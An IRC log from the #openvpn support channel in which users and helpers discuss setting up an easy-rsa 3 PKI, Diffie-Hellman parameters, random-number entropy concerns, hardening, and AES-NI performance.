11:58 < Cpt-Oblivious> Fair enough. I was just wondering. Setting it up with TUN atm
11:59 -!- Eduard_M1nteanu [~EduardMun@188.25.92.124] has quit [Ping timeout: 246 seconds]
12:00 < Cpt-Oblivious> anyone here ever used Adito as webinterface for openvpn? It seems to be an opensource equivalent to openvpn access
12:02 < Cpt-Oblivious>  / OpenVPN ALS
12:10 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 260 seconds]
12:10 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has joined #openvpn
12:12 < thecaptain2000> hi how do I create a .ovpn file with the configuration to be used into a client?
12:12 <@krzee> its text format
12:12 <@krzee> it is a config file with options from the manual with -- stripped
12:12 <@krzee> !--
12:12 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
12:12 < thecaptain2000> do you have a template? what should go into it?
12:13 <@krzee> !howto
12:13 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
12:21 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
12:26 -!- g0uZ [~NickServ@ip-74.net-81-220-31.lyon.rev.numericable.fr] has quit [Ping timeout: 272 seconds]
12:26 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
12:37 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
12:38 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
12:40 -!- lachesis [~lachesis@unaffiliated/lachesis] has joined #openvpn
12:40 < lachesis> do the dh params need to be kept secret?
12:41 < pekster> Nope, though they don't need to be on anything except the server either (your best bet is to generate them there unless it's embedded hw that would take forever to do that)
12:41 < lachesis> pekster, cool, i've been mistakenly copying them to all my machines
12:41 < lachesis> wanted to make sure i shouldn't go back and recreate them
12:41 < pekster> If you didn't generate them on the server for some reason, it's fine to transfer them in cleartext
12:42 < pekster> Nah, you can re-generate the DH whenever you like without breaking things
12:42 < pekster> It's just a "safe prime" used as part of a TLS handshake
12:45 < thecaptain2000> is there a way with openvpn to set up a URL for exporting the configuration?
12:45 <@krzee> like pekster said, you dont wanna generate any keys on embedded hw, not just because of time, but because many are known to have poor entropy and your keys may be weakened by making them there
12:45 < thecaptain2000> so that a client can be directed to that URL to get the information for setting up the connection?
12:48 < pekster> thecaptain2000: A webserver that hosts the .conf / .ovpn file?
12:48 < Cpt-Oblivious> krzee: what about generating keys in a virtual machine? (Say virtualbox)
12:48 < thecaptain2000> yes, something similar to what the openvpn-as does
12:49 < pekster> thecaptain2000: No, I'm suggesting _you_ put them somewhere accessible
12:49 <@krzee> afaik that should be fine so long as the guest os does it well
12:49 < pekster> Wrap them in a pretty extract utility if you'd like that checks for and auto-magically determines where OpenVPN is installed (for windows)
12:49 < Cpt-Oblivious> fair enough
12:50 < thecaptain2000> anybody has a success story using openvpn access android compinent with a gpl openvpn?
12:50 <@krzee> freebsd very recently decided to change how they use hardware entropy generators, they no longer trust intel or amd so they are just taking them as part of their entropy but doing more in the os to protect against intentional weakening of randomness
12:50 < pekster> Quite frankly, instructions like "Save this file to your OpenVPN\config\" dir should be enough. If your users are too stupid for that, it's your job to "pander to their needs" with special installers
12:51 < Cpt-Oblivious> If they're that stupid you can write a .bat file that moves the file to that config file and compile it into an .exe
12:51 <@krzee> thecaptain2000, i use "openvpn for android" on my 4.x devices
12:51 <@krzee> !android
12:51 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market or (#3) Direct Play link:
12:51 -!- halcyon__ is now known as heraclitus
12:51 <@vpnHelper> https://play.google.com/store/apps/details?id=de.blinkt.openvpn
12:51 -!- heraclitus [~heraclitu@85.17.31.98] has quit [Changing host]
12:51 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
12:52 <@krzee> and that *is* the gpl openvpn, and does not require root
12:52 < thecaptain2000> I used openvpn for anderoid in the past but had the impression openvpn connect used less battery
12:53 <@krzee> i never heard that, i wonder if its true
12:53 <@krzee> plaisthos, any thoughts?
12:54 < Cpt-Oblivious> when using './build-key-pass client1' what is used as the username? client1? Or is it the common name or something that you set during generation?
12:54 < pekster> Both, that's the default but you can change it
12:54 < Cpt-Oblivious> so both client1 or for example if cpt-oblivious is used as common name, then both those can be used to login with the password you set during generation?
12:54 <@krzee> username=common name= something unique to that client
12:56 < lachesis> i usually use just the client's hostname
12:56 < pekster> Cpt-Oblivious: The user/pass is completely separate from the cert CN
12:56 < lachesis> sometimes username@hostname
12:56 < pekster> The CN is arbitrary text that needs to be unique (as openvpn uses this to uniquely identify the client)
12:56 < lachesis> but my openvpn is for me and a few friends only so it's not that important that i have a good policy for CNs
12:56 < Cpt-Oblivious> Yea I'm trying to undrestand how the pki works, I understand the openvpn config. Just trying to setup a secure pki with passwords now
12:57 < pekster> In a PKI, only your private keys have passphrases that are used to unlock the key
12:57 < Cpt-Oblivious> can you set a passphrase on the private key of the server?
12:57 < pekster> You really should generate private keys on the system that use them instead of transporting private material (even if it's encrypted) across the Internet
12:57 <@krzee> if you also want login/password, then you want this:
12:57 <@krzee> !authpass
12:57 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
12:57 < pekster> Cpt-Oblivious: You can, but most people don't since that would require you to enter the password every time you start/restart your server
12:58 < pekster> Of course, unencrypted private keys like that require that you maintain good filesystem/access security as any copy of that file _is_ the raw key material
12:58 < Cpt-Oblivious> I'm fine with that, I have to do that anyway due to FDE.
12:58 < lachesis> Cpt-Oblivious, also, think about what that actually protects
12:58 < lachesis> if anyone has access to your private key
12:58 < lachesis> they presumably have root access to your server
12:58 < pekster> FDE does no good against online attacks ;)
12:58 < lachesis> and can just sniff the traffic anyway
12:58 < Cpt-Oblivious> Yea true
12:59 < Cpt-Oblivious> though if you password protect the private key, if they get into the server you don't need to redistribute all key files right?
12:59 < lachesis> Cpt-Oblivious, i would reinstall the server and regenerate anyway
12:59 < Cpt-Oblivious> Since if you setup the server again, copy back the password protected private key and the other files, you should be good to go
12:59 < lachesis> but the server key doesn't matter in that case
12:59 <@plaisthos> thecaptain2000: most battery usage is the radio/wifi see the faq for that in my expierence
12:59 < pekster> If the server didn't house your CA PKI, then if you're paranoid just revoke the server cert and re-issue
12:59 < lachesis> it's the CA key that would matter
12:59 < lachesis> so if you want to be really secure, put the CA on external media and only sign stuff offline
13:00 < lachesis> also keep it encrypted
13:00 <@plaisthos> as for openvpn for android against a as server
13:00 < pekster> Don't put your CA on your server for best security. There's a nice write-up of the "proper" way to do things in the EasyRSA 3 how-to here: https://community.openvpn.net/openvpn/wiki/EasyRSA
13:00 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
13:00 < lachesis> with perfect forward secrecy and DH, getting the server key doesn't allow them to read old traffic, nor to passively snoop on ongoing traffic. they could _actively_ intercept ongoing communications, but that requires a pretty sophisticated attack.
13:00 <@plaisthos> that should work as long as it does not do dynamic challenge which is not implemented in the UI yet
13:01 <@plaisthos> pekster: unless the system is a wrt style device or other embedded
13:01 < Cpt-Oblivious> Hmm freebsd comes with easy-rsa-2.2.0.m
13:01 <@plaisthos> these have traditionally very weak random devices
13:01 < lachesis> easy-rsa really is easy
13:01 <@plaisthos> argh reading backlog
13:02 < pekster> plaisthos: True, although a recent openwrt commit makes the PRNG not suck on supported (specific atheros devices, IIRC) devices, even in early-boot
13:02 < pekster> It adds randomness from the raw radio signal input
13:02 < pekster> ie: environmental noise
13:02 < lachesis> pekster, still might be predictable to a determined attacker :)
13:02 < thecaptain2000> plaisthos: ok, tx, will do some reading
13:02 < pekster> Not likely, but ask the #openwrt folks about it if you want implementation details
13:02 < lachesis> if you think you're paranoid enough, you're clearly not doing crypto
13:02 < lachesis> :)
13:03 < lachesis> hmm i wonder if i should move my openvpn over to my router
13:03 < pekster> Perrsonally I still won't generate sensitive-keys on openwrt, but I think the implementation is pretty good
13:03 < pekster> Even if the NSA or whoever is blasting a sine-wave RF at your openwrt-trunk build, it takes the least-significant values, so it's still pretty darn random
13:04 < lachesis> lol i hope the NSA is currently blasting a sine wave at my openwrt
13:04 < lachesis> that'd be cool
13:04 < pekster> It would mean you're important enough to the NSA? :x
13:04 < pekster> Nah, they don't need that; they have Bluffdale ;)
13:04  * Cpt-Oblivious calls HQ, lachesis is onto us, abort abort.
13:04 < lachesis> yep
13:05 < pekster> http://xkcd.com/538/
13:05 <@vpnHelper> Title: xkcd: Security (at xkcd.com)
13:05 < Cpt-Oblivious> yep exactly
13:05 < Cpt-Oblivious> So FreeBSD comes with Openvpn-2.3.2
13:06 < Cpt-Oblivious> but with easy-rsa-2.2.0.m
13:06 < Cpt-Oblivious> do I need to manually install easy-rsa-3?
13:07 < Cpt-Oblivious> Seeing as the howto says " If you're using OpenVPN 2.3.x, you need to download easy-rsa separately from here."
13:07 < Cpt-Oblivious> or will the easy-rsa 2 work as well?
13:07 <@krzee> !easy-rsa
13:07 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads
13:09 < Cpt-Oblivious> oh I see, 2.2 is the latest release, 3.0.0 is still an RC
13:10 < pekster> Yea, and very little has been said about 3.0, which means a final is probably going to be very similar to rc1 :P
13:10 < pekster> A few changes on -master, and I probably should spin an rc2 so that no one can comment on that too and get a 3.0.0 final out ;)
13:10 <@krzee> haha
13:11 < Cpt-Oblivious> would you advise using 3.0.0-rc1 already or sticking with 2.2 so far?
13:11 <@krzee> use 3 and comment on it
13:11 < pekster> Yup
13:11 < Cpt-Oblivious> comment? if I find a bug you mean or if it doesn't work?
13:11 <@krzee> right here, pekster wrote it
13:12 <@krzee> "it worked great"   "it exploded" whatever i guess
13:13 < pekster> rc1 is fine (I've been using it myself for my own CAs all the way through its development prior to that, and I'm happy with it.) Maybe get -master or wait for rc2 if you really need to support OpenSSL-0.9.8* (do try not to need that ;)
13:14 < Cpt-Oblivious> I have no idea if I need that :p
13:14 < pekster> `openssl version`
13:14 -!- Six6siX [~Devil@jasmine.sammybakar.com] has joined #openvpn
13:14 < Cpt-Oblivious> OpenSSL 1.0.1e-freebsd 11 Feb 2013
13:14 < pekster> Yea, that's what most people have
13:15 < Cpt-Oblivious> I already looked under 'pkg version' but that didn't list openssl, I guess it's such a base component that it's not listed as package.
13:15 < pekster> Someone here a while back was trying to use easy-rsa with a 5 year out-of-date openssl, so I gave in and decided to support it in commit 8b1fe01
13:15 < Cpt-Oblivious> oh lol
13:16 < Cpt-Oblivious> I'm running FreeBSD 10.0-RC1
13:16 < pekster> I'm still not super happy about "encouraging" its use, but 0.9.8 is still supported upstream (though not with 5-year old versions, of course)
13:16 < pekster> The fix was easy, so whatever
13:16 < Cpt-Oblivious> https://github.com/OpenVPN/easy-rsa/releases/tag/v3.0.0-rc1
13:16 <@vpnHelper> Title: Release v3.0.0-rc1 · OpenVPN/easy-rsa · GitHub (at github.com)
13:16 < Cpt-Oblivious> which of those files do I need?
13:17 < Cpt-Oblivious> when I open them I only see prebuild stuff
13:17 < pekster> tgz for the Unix-alike tarball
13:17 < pekster> "rc1" is a pre-release, but I consider it quite stable (hence an rc, not a beta)
13:18 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 272 seconds]
13:18 < Cpt-Oblivious> Yea fair enough
13:18 < Cpt-Oblivious> I get an authentication error when trying to fetch it
13:18 < Cpt-Oblivious> https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.0-rc1/EasyRSA-3.0.0-rc1.tgz
13:18 -!- Eduard_Munteanu [~EduardMun@188.25.92.124] has joined #openvpn
13:19 < Cpt-Oblivious> http://pastebin.com/bEgLREx8
13:19 < pekster> curl has no problem here
13:19 < Eduard_Munteanu> pekster: btw, this seems to confirm my fears: http://crypto.stackexchange.com/questions/9412/what-to-watch-for-with-openssl-generating-weak-keys-low-entropy
13:19 <@vpnHelper> Title: random number generator - What to watch for with openssl generating weak keys? (low entropy) - Cryptography Stack Exchange (at crypto.stackexchange.com)
13:19 < Eduard_Munteanu> It seems openssl reads /dev/urandom.
13:20 < Cpt-Oblivious> that's a bad thing?
13:20 < pekster> Eduard_Munteanu: I think you're quite wrong, but go tell it to openssl is you think you found something the experts missed
13:21 < pekster> Eduard_Munteanu: I can tell you from experience that key generation takes a _lot_ longer when a system is low on entropy, which casually suggests you are mistaken. If you're sure about your findings, the responsible thing to do is make upstream aware of your concerns and participate in a discussion
13:22 < pekster> Cpt-Oblivious: Well, your OS doesn't trust the CA that issued the github cert
13:22 < Cpt-Oblivious> ah
13:22 < pekster> Cpt-Oblivious: My recommendation is to disable cert checking and verify the .sig on the tarball matches my signature with gpg
13:22 < Eduard_Munteanu> pekster: the link says it uses /dev/urandom because the main usage is generating session keys
13:23 < Eduard_Munteanu> They haven't missed anything.
13:23 < pekster> Eduard_Munteanu: Complete crap; generating asymmetric keys are _never_ used as session keys
13:23 < pekster> So yes, they missed something very obvious about what you're doing
13:23 < pekster> Stop comparing apples to oranges
13:23 < Cpt-Oblivious> that makes sense pekster, I'll go bug freebsd people since I have no idea how to do that :)
13:23 < pekster> asymmetric RSA != static session keys
13:23 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Read error: Operation timed out]
13:23 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
13:23 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
13:23 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
13:23 < pekster> Cpt-Oblivious: That, or try curl/wget or something else, or download it in your browser and scp it over
13:23 < pekster> Lots of choices
13:24 < Eduard_Munteanu> pekster: I know. Are you saying it uses different generators, unlike what that link suggests?
13:24 < Cpt-Oblivious> I'm going for browser, so much easier :)
13:24 < pekster> No clue why the cert fails with "fetch", but yea, it's a BSD-ism
13:24 < pekster> Eduard_Munteanu: I really don't care, but your info makes no sense. urandom used for sesion might make sense, but eaasy-rsa is *NOT* doing "session key generation"
13:25 < Eduard_Munteanu> pekster: I wasn't saying that. I just found that answer alarming, if correct.
13:28 < pekster> Put less faith in crap on stackexchange; it may or may not be correct
13:29 < pekster> In any event, asking upstream is the right place to discusss/understand code/API internals of openssl. I'm pretty sure a basic mistake like that would have been caught by someone in the years the code has been out, but mistakes do happen
13:29 < Eduard_Munteanu> pekster: I just ran 3 build-ca with 4096 bits key sizes. It does wait a bit but not more than 2-3s each run. In contrast gnupg take a lot longer and doesn't finish easily unless I move the mouse etc
13:29 < pekster> Debian's flaw only lasted as long as it did becuase it wasn't openssl; it was debian's flawed version of it (and apparently poor code reivew)
13:30 < pekster> If you did openssl first it had the advnatage of using your possibly quite full entropy pool ;)
13:30 < pekster> Again, I don't actually know the deep internals of openssl code. This is why I *keep* poitning you to the right place
13:30 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has quit [Remote host closed the connection]
13:30 < pekster> GO and ask them instead of asking me to explain things I know about only from an external API standpoint, not an internal one
13:31 < pekster> It's like asking a 1st year physics student to explain the latest findings from the LCH; they might have an idea, but it's probably bad form if you want technical answers
13:31 < Eduard_Munteanu> It does take longer after a few more runs, but it's still pretty fast.
13:32 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
13:32 < Eduard_Munteanu> Yeah, you're right, I thought maybe easy-rsa implementers were aware of such details.
13:32 < pekster> easy-rsa doesn't use openssl C API, only that you can read about in openssl(1)
13:32 < pekster> They're completely different
13:33 < pekster> (easyrsa is not C, so I don't follow your "jab" that authoring it without knowing the C API is a problem)
13:33 < Eduard_Munteanu> pekster: wait, actually, the problem still remains: do you think unbounded reuse of entropy isn't relevant to easyrsa/openvpn?
13:34 < pekster> I know a little about the API enough to give you the references earlier to RAND_bytes() and the like, so I'm not clueless, just not "up" on internal APi details
13:34 < Eduard_Munteanu> Even if you don't go through the API
13:34 < pekster> It's not using it "unboundedly" or such nonsense
13:34 < pekster> .rnd _IS_ updated as I showed you before. Is RAND_bytes() flawed in a way you knwo about? Can you point me to a _proper_ mailing-list discussion or bug about it?
13:35 < pekster> I'm not taking your BS stackexchange links and getting concerned about security as a result
13:35 < pekster> Until I see a bugreport, technical ML discussion, or CVE, there's not much I plan to do, including caring more. I've wasted enough time on this here
13:35 < pekster> https://www.openssl.org/support/community.html
13:35 <@vpnHelper> Title: OpenSSL: Support, Mailing Lists (at www.openssl.org)
13:36 < Eduard_Munteanu> pekster: if I manage to run it in a loop, possibly a few instances in parallel, and each run takes just 3-4s, don't you find that suspicious?
13:36 < Eduard_Munteanu> I'll try that.
13:36 < pekster> I don't have that problem here, so I can't reproduce your results
13:37 < pekster> For all I know you have a compromised openssl installed ;)
13:37 < pekster> Go talk to the people that can figure it out
13:37 < Eduard_Munteanu> pekster: what problem? How long does easyrsa take to generate a key for you?
13:37 < pekster> 4096 bit keys? A long time, especially with low entropy
13:38 < Eduard_Munteanu> I see, thanks. This is a desktop system btw.
13:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Client Quit]
13:42 < pekster> I do get different results in a Linux VM on my Windows box, but probably becuase the RNG-gathering process comes from Widnows (and I trust that just as far as I can read into their code)
13:44 < Eduard_Munteanu> Hm, I just generated 100 keys in 4.8s: time for i in `seq 1 100`; do echo "$i"; openssl genpkey -out test.pem -algorithm rsa; done
13:44 < Eduard_Munteanu> 1024 bits.
13:46 < Eduard_Munteanu> I'm running it as root, btw.
13:46 < pekster> So, you're concerned about RNG-gathering source, yet run openssl as root? :P
13:47 < Eduard_Munteanu> Eh, openssl is a rather core thing these days. :)
13:47 < pekster> !hardening
13:47 <@vpnHelper> "hardening" is https://community.openvpn.net/openvpn/wiki/Hardening
13:47 < pekster> Don't run PKI/openssl as root
13:47 < pekster> That's outright foolish
13:48 < pekster> Don't run _anything_ as root you don't need to
13:48  * Cpt-Oblivious stares at the ground in shame
13:49 < pekster> Cpt-Oblivious: Easy fix if you have. Add a new `pki` user, move all thet PKI stuff to its homedir, and chown it. Might want to do `find /home/pki-user/your-pki | xargs chmod go-rwx` too for FS mode security
13:50 < pekster> More tips for you at the Hardening wiki
13:50 < Cpt-Oblivious> Yea reading that atm
13:50 < Cpt-Oblivious> I completely understand how PKI works etc..
13:50 < Cpt-Oblivious> Had that in my security courses at uni
13:50 < Cpt-Oblivious> just trying to figure out how openvpn does it specifically
13:51 < pekster> Pretty much all the crypto-sensitive stuff is offloaded to the SSL lib, openssl or (recently) PolarSSL
13:51 < Eduard_Munteanu> I think I need to ask #gentoo about this.
13:51 < Cpt-Oblivious> where do you run your CA?
13:51 < Cpt-Oblivious> I pretty much have 1 FreeBSD server that I want to access samba on with multiple clients / clients can use it as secure gateway
13:51 < pekster> Me? I run it on a host I used for administrative tasks, under a dedicated user account with a restrictive setup
13:52 < Cpt-Oblivious> Would you advice running the CA on something like a raspberry pi?
13:52 < pekster> I have a couple more sensitive PKI tasks I only do from an offline box with USB drives that never go online, but the obvious drawback there is that I can't generate/revoke keys if I'm not on-location
13:52 < pekster> s/generate/sign/
13:53 < pekster> I don't generally recommend using any embedded hardware for crypto stuff; YMMV as it's up to you to define the level of security you need
13:53 < Cpt-Oblivious> Would running the CA on a separate offline RaspberryPI be more secure than running it on the FreeBSD server I put in colocation?
13:54 < pekster> "sort of". Not on the same box as the server is a plus, but (possible) reduced entropy would be bad
13:54 < Cpt-Oblivious> Wouldn't FreeBSD on raspberrypi have excellent entropy anyway?
13:54 < pekster> Again, define your own security requirements and choose a solution that fits
13:55 < Cpt-Oblivious> http://boingboing.net/2013/12/10/freebsd-wont-use-intel-via.html
13:55 <@vpnHelper> Title: FreeBSD wont use Intel & Vias hardware random number generators, believes NSA has compromised them - Boing Boing (at boingboing.net)
13:55 <@ecrist> that depends on if you're running 10.0rc1+ and if you care that the NSA has a "probable" back-door to your entropy
13:55 < pekster> Depends on how FBSD does entropy collection. The traditional problem is that entropy sources take advantage of runtime operational tasks that can't be predicted (disk seek times, network packets, keyboard/mouse usage, etc) and a freshly booted box has little of that
13:55 < Cpt-Oblivious> ecrist: I am running 10.0rc1
13:55 <@ecrist> then it shouldn't matter
13:56 < pekster> Well yea, if you trust black-box entropy sources ;)
13:56 <@ecrist> though, hardware entropy sources tend to be better
13:56 < Cpt-Oblivious> Well Freebsd 10.0/stable actually (FreeBSD Secretum 10.0-PRERELEASE FreeBSD 10.0-PRERELEASE #0 r259280)
13:56 < pekster> What we need are _open_ hardware entropy solutions, not this super-secret vendor stuff
13:56 < Cpt-Oblivious> I agree.
13:56 <@ecrist> pekster: no such thing
13:57 < pekster> Sure there is; release the design spec for the relevant parts
13:57 <@ecrist> because, even if the architecture was open, that doesn't mean that's what being built and sold
13:57 <@ecrist> and most people don't have the equipment to verify that they are getting what they want
13:57 < pekster> Right, though researchers do sometimes still poke at it to verify
13:58 < pekster> Some of the reading on recent such probes into Intel's stuff have been good reads
13:58 < pekster> That pre-dated thet FBSD announcement, but I can't say I'm surprised
13:58 <@ecrist> pekster: see steganography
13:58 <@ecrist> if they can do it with images, they can do it with electron paths
13:59 < pekster> Right, hence micro-probes to look at the ICs as I referenced ;)
13:59 <@ecrist> the whole point is you can't identify it.  it "looks" like a reasonable solution
14:00 <@ecrist> and how do you know reasearch A is to be trusted?
14:07 < pekster> heh, you don't. But the more people that look at something the better (which is why I abhor black-box security)
14:08 <@ecrist> my argument is that hardware at the chip level will forever be black-box
14:08 <@ecrist> which is why it's better to do it, for security's sake, in software
14:09 < pekster> Yup. Same reason the industry has been slow to seriously adopt the TPM
14:09 < pekster> It sounds like a great idea until you really look at what it means
14:10 < Cpt-Oblivious> what's your opinion on things like AES-NI pekster?
14:10 < pekster> Fun short to introduce beginners to the concept: https://www.youtube.com/watch?v=XgFbqSYdNK4
14:10 <@vpnHelper> Title: Trusted Computing? Yes or No - YouTube (at www.youtube.com)
14:10 < pekster> Cpt-Oblivious: AES is an open standard/protocol, so hardware implementations can shown to be correct
14:10 < Cpt-Oblivious> fair enough
14:11 < Eduard_Munteanu> pekster: someone pointed me to this in #gentoo: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=88728
14:11 <@vpnHelper> Title: #88728 - openssl: usage of /dev/random should be possible - Debian Bug report logs (at bugs.debian.org)
14:11 < Cpt-Oblivious> You can indeed let AES-NI do a thousand cycle of AES on a file. And verify that you end up with the same encrypted file as you would with the same ran in software.
14:11 < pekster> "random" can only be tested against test-suites that try to give you a rating of "how random is it", but the issue is that you can never know for sure
14:11 < Cpt-Oblivious> yea that's the problem with true randomness
14:12 < Eduard_Munteanu> So it is sort of a bug, at least the defaults are buggy.
14:12 < Eduard_Munteanu> The "fix" involving setting RANDFILE seems dubious.
14:13 < Eduard_Munteanu> pekster: could you tell me what distro you run?
14:14 < Eduard_Munteanu> Maybe it's a downstream patch for openssl.
14:14 < pekster> Several, not limited to gentoo, debian-clones, some assorted VMs for Free/NetBSD, RHEL-clones, etc
14:14 < pekster> And a few Windows versions
14:14 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 250 seconds]
14:23 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
14:23 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
14:31 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
14:36 < Cpt-Oblivious> pekster: I just created my own ca that is protected with a passphrase and I created a new client with "./easyrsa sign-req client EntityName"
14:36 < Cpt-Oblivious> how do I create the .crt for the server?
14:36 < Cpt-Oblivious> with ./easyrsa sign-req server EntityName?
14:36 < pekster> Yup, aafter you have the server request imported
14:36 < pekster> "normally" you want to do the actual 'gen-req' stuff on the server or client and transfer the request to the CA
14:37 < Cpt-Oblivious> And that's done with this right? "./easyrsa import-req /tmp/path/to/import.req EntityName"
14:37 < pekster> Otherwise you have the security-sensitive task of transporting a private key to another system, and you want to avoid that due to issues of exposure and non-repudation
14:37 < pekster> Yup, exactly
14:38 < pekster> So, on your server, do `./easyrsa init-pki && ./easyrsa gen-req myServerNameHere nopass` and transport the req (you can use an encrypted key too, but then you need to enter it on the console every startup)
14:38 -!- thumbs is now known as httpd
14:38 < Cpt-Oblivious> Okay, so after that I sign it with ./easyrsa sign-req server EntityName on the CA right?
14:38 -!- httpd is now known as thumbs
14:38 < pekster> Yup
14:39 < pekster> It'll generate a signed cert in the process
14:39 < Cpt-Oblivious> So what is this then for?     ./easyrsa gen-dh
14:39 < pekster> DH param generation
14:39 < pekster> Only the server needs that, so you might as well just do it on the server (the CA isnt' involved at all)
14:39 < Cpt-Oblivious> I see
14:39 < pekster> The v3 howto covers DH too: https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto#DHGeneration
14:39 <@vpnHelper> Title: EasyRSA3-OpenVPN-Howto – OpenVPN Community (at community.openvpn.net)
14:41 < Cpt-Oblivious> Revoking clients can only be done with ./easyrsa revoke EntityName on the CA right?
14:41 < Cpt-Oblivious> or can I do that on the server as well?
14:41 < pekster> Certificate revocation has to happen on the CA, and to do anything useful you need to generate a new CRL and send it to all systems performing CRL checks
14:42 < Cpt-Oblivious> So the CA revokes it, generates a CRL, I move that CRL to all vpn servers
14:42 < pekster> Yup
14:42 < Cpt-Oblivious> and then the VPN servers to no longer allow that client
14:42 < pekster> Exactly
14:42 < Cpt-Oblivious> Ok, then I completely understand it, thanks!
14:46 < Cpt-Oblivious> I wonder how well OpenVPN scales
14:46 < Cpt-Oblivious> Do you think I can push a Gbit over it?
14:47 < pekster> !gigabit
14:47 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
14:47 < pekster> As you approach the saturation point of a single CPU core (openvpn is single-threaded) you need to look at hardware acceleration, like AES-NI
14:47 < Cpt-Oblivious> I have AES-NI and I have an Xeon E3-1230v3
14:48 < pekster> If your openssl is aware of it, `openvpn --show-engines` should show it; IIRC the default 'dynamic' option uses hw-accel if you have it, but you'd want to verify that
14:48 < pekster> And obviously only for AES ciphers; BF-CBC is the default
14:48 < Cpt-Oblivious> OpenSSL Crypto Engines
14:48 < Cpt-Oblivious> RSAX engine support [rsax]
14:48 < Cpt-Oblivious> Intel RDRAND engine [rdrand]
14:48 < Cpt-Oblivious> Dynamic engine loading support [dynamic]
14:49 < Cpt-Oblivious> GELI what I use for FDE does use AES-NI on the host
14:49 < pekster> So you've got a couple choices; bump up the verbosity in logs to see if it'll tell you what it uses, or pick one explicitly with the --engine config option
14:49 -!- rolloTomasi [~rolloToma@bas1-kitchener09-1176482838.dsl.bell.ca] has quit [Ping timeout: 272 seconds]
14:50 < Cpt-Oblivious> where can I find which engine options are available?
14:50 < pekster> You just did via --show-engines
14:50 < pekster> Ref the manpage
14:50 < Cpt-Oblivious> it doesn't list AES-NI though
14:50 -!- rolloTomasi [~rolloToma@public-nat-d.vpngate.net] has joined #openvpn
14:50 < pekster> You enter an *engine* that supports it
14:51 < pekster> There is no "aes-ni" engine, but you have f.ex rsax
14:51 < Cpt-Oblivious> ah
14:51 < Cpt-Oblivious> I do have rsax
14:51 < pekster> aes-ni is the concept; rsax is one choice of implementation on *your* system
14:51 < Cpt-Oblivious> that explains a lot
14:51 < pekster> I'd figure the manpage would have explained it too
14:51 < pekster> Was it confusing in a way that should get updated?
14:52  * Cpt-Oblivious admits he didn't look at the man page yet, only tried googling it
14:52 < pekster> 14:50:16 < pekster> Ref the manpage
14:52 < pekster> Helpful protip for you too:
14:52 < pekster> !man
14:52 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:52 < pekster> #3 helps a lot
14:52 < Cpt-Oblivious> the strange people in #freebsd keep telling me that too
14:53 < pekster> Then you probably don't look up basic command options before answering things explained verbatim in the manpages
14:53 < pekster> s/answering/asking/
14:53 <@ecrist> Cpt-Oblivious: if you ask a question, and you've not read the man page, you're basically saying, "My time is worth more than yours."
14:53 < Cpt-Oblivious> I come mostly from a windows back ground
14:53 < pekster> http://catb.org/~esr/faqs/smart-questions.html#before
14:53 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
14:53 < Cpt-Oblivious> I'm not really used to man pages being useful
14:53 <@ecrist> that doesn't make it OK
14:53 < pekster> Then change that process
14:53 < Cpt-Oblivious> Yea I've been doing that mostly
14:53 < Cpt-Oblivious> But bad habits :S
14:54 <@ecrist> doesn't seem that way
14:54 -!- pdobrogost [~quassel@213-238-74-135.adsl.inetia.pl] has joined #openvpn
14:54 < Cpt-Oblivious> Sometimes it's rather confusing whether the wifi is the best place to look for information or the man pages
14:54 < Cpt-Oblivious> I did look at the wiki before asking
14:54 < Cpt-Oblivious> I guess I should just do both.
14:55 < pekster> If you want to know how --command-thing works, the *first* thing to do is use the manpage
